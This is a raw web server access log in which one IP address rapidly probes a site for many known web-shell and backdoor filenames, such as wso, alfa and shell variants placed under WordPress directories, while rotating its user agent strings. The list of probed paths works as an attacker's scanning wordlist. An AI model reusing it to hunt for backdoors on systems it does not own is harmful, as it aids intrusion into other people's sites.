98.159.43.135 - - [21/Feb/2026:16:41:36 +0300] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:36 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:41:36 +0300] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:37 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:37 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:37 +0300] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:37 +0300] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:37 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:38 +0300] "GET /ovatools.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:38 +0300] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:38 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:38 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:41:39 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:39 +0300] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:39 +0300] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:39 +0300] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:41:39 +0300] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:41:39 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:40 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:40 +0300] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:40 +0300] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:40 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:41 +0300] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:41 +0300] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:41 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:41 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:41 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:42 +0300] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:42 +0300] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:42 +0300] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:42 +0300] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:43 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:43 +0300] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:43 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:43 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:43 +0300] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:44 +0300] "GET /media.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:44 +0300] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:44 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:44 +0300] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:41:45 +0300] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:45 +0300] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:45 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:45 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:46 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:46 +0300] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:41:46 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:46 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:47 +0300] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:47 +0300] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:41:47 +0300] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:47 +0300] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:47 +0300] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:48 +0300] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:48 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:41:48 +0300] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:48 +0300] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:48 +0300] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:49 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:49 +0300] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:49 +0300] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:49 +0300] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:50 +0300] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:50 +0300] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:50 +0300] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:50 +0300] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:50 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:51 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:41:51 +0300] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:51 +0300] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:51 +0300] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:51 +0300] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:52 +0300] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:52 +0300] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:52 +0300] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:53 +0300] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:53 +0300] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:53 +0300] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:41:53 +0300] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:53 +0300] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:54 +0300] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:54 +0300] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:54 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:54 +0300] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:54 +0300] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:55 +0300] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:55 +0300] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:55 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:55 +0300] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:56 +0300] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:41:56 +0300] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:41:56 +0300] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:56 +0300] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:56 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:41:57 +0300] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:57 +0300] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:57 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:57 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:58 +0300] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:58 +0300] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:41:58 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:58 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:58 +0300] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:41:59 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:59 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:59 +0300] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:59 +0300] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:00 +0300] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:00 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:00 +0300] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:00 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:00 +0300] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:01 +0300] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:01 +0300] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:01 +0300] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - 